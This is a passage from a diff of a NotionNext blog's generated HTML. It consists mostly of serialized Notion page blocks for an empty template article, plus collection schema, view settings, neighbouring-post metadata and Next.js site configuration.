4ed2-92a2-662ef2f3c2f7","type":"text","format":{"copied_from_pointer":{"id":"58267cec-d269-493d-84d6-a3f5db3f9795","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"58267cec-d269-493d-84d6-a3f5db3f9795"}},"c2d93490-64f9-4cb1-882b-ce82d4e86e34":{"value":{"id":"c2d93490-64f9-4cb1-882b-ce82d4e86e34","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"7a8c3b7a-e21a-4c9b-b979-8cb34f66fa8b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"7a8c3b7a-e21a-4c9b-b979-8cb34f66fa8b"}},"ad9f849c-2f34-425c-8ae2-9b3e5fd954ad":{"value":{"id":"ad9f849c-2f34-425c-8ae2-9b3e5fd954ad","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"1b076f45-d0db-4fc8-a863-29c5a8a3c246","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"1b076f45-d0db-4fc8-a863-29c5a8a3c246"}},"9a7a521d-391c-4709-bc52-426bcdc88d29":{"value":{"id":"9a7a521d-391c-4709-bc52-426bcdc88d29","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"ad5e5791-cd82-409d-8643-00c52328b54d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"ad5e5791-cd82-409d-8643-00c52328b54d"}},"931b0fc5-4a3c-42a1-9e72-2f98575aabe4":{"value":{"id":"931b0fc5-4a3c-42a1-9e72-2f98575aabe4","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"68755d5e-d008-43c7-a7c5-818e51d76e04","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"68755d5e-d008-43c7-a7c5-818e51d76e04"}},"bfd4a004-433b-4690-91c1-564daf7111de":{"value":{"id":"bfd4a004-433b-4690-91c1-564daf7111de","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"05ec0e1d-42b5-4fc1-bc0b-8194eb06b0b5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"05ec0e1d-42b5-4fc1-bc0b-8194eb06b0b5"}},"26ae09ec-3360-4a22-8a1c-5a04558cd1bf":{"value":{"id":"26ae09ec-3360-4a22-8a1c-5a04558cd1bf","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"bafc69ed-a5e1-42d5-801c-c174230081ff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"bafc69ed-a5e1-42d5-801c-c174230081ff"}},"ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec":{"value":{"id":"ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"1fbf888c-22f2-4d2f-952f-292cff57550e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"1fbf888c-22f2-4d2f-952f-292cff57550e"}},"429902e3-fd85-467c-823e-a01d0c6f3585":{"value":{"id":"429902e3-fd85-467c-823e-a01d0c6f3585","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"9a814146-6bbd-4d09-b2ca-2207742a8c9a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"9a814146-6bbd-4d09-b2ca-2207742a8c9a"}},"2b18786d-ffa2-4d78-9627-a8e7e7ff5764":{"value":{"id":"2b18786d-ffa2-4d78-9627-a8e7e7ff5764","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"65d51202-f9fb-471c-a98d-3d012cd9a9e2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"65d51202-f9fb-471c-a98d-3d012cd9a9e2"}},"3cfd7e2b-1101-45dd-aa39-381d8a0d5173":{"value":{"id":"3cfd7e2b-1101-45dd-aa39-381d8a0d5173","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"ccb9e9ee-6fb7-4ac3-8051-3691b5cbee16","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"ccb9e9ee-6fb7-4ac3-8051-3691b5cbee16"}},"14fcaf05-02a3-4cb7-8229-9512ee7a23f1":{"value":{"id":"14fcaf05-02a3-4cb7-8229-9512ee7a23f1","type":"text","format":{"copied_from_pointer":{"id":"a54672cb-9ce1-4819-9c30-d1102efe1731","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"a54672cb-9ce1-4819-9c30-d1102efe1731"}},"4c8e427a-3bcd-4247-85b8-39aa455c2e41":{"value":{"id":"4c8e427a-3bcd-4247-85b8-39aa455c2e41","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"9a367ddb-bd3f-46b9-a68f-8a66c84ff06f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"9a367ddb-bd3f-46b9-a68f-8a66c84ff06f"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-8"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 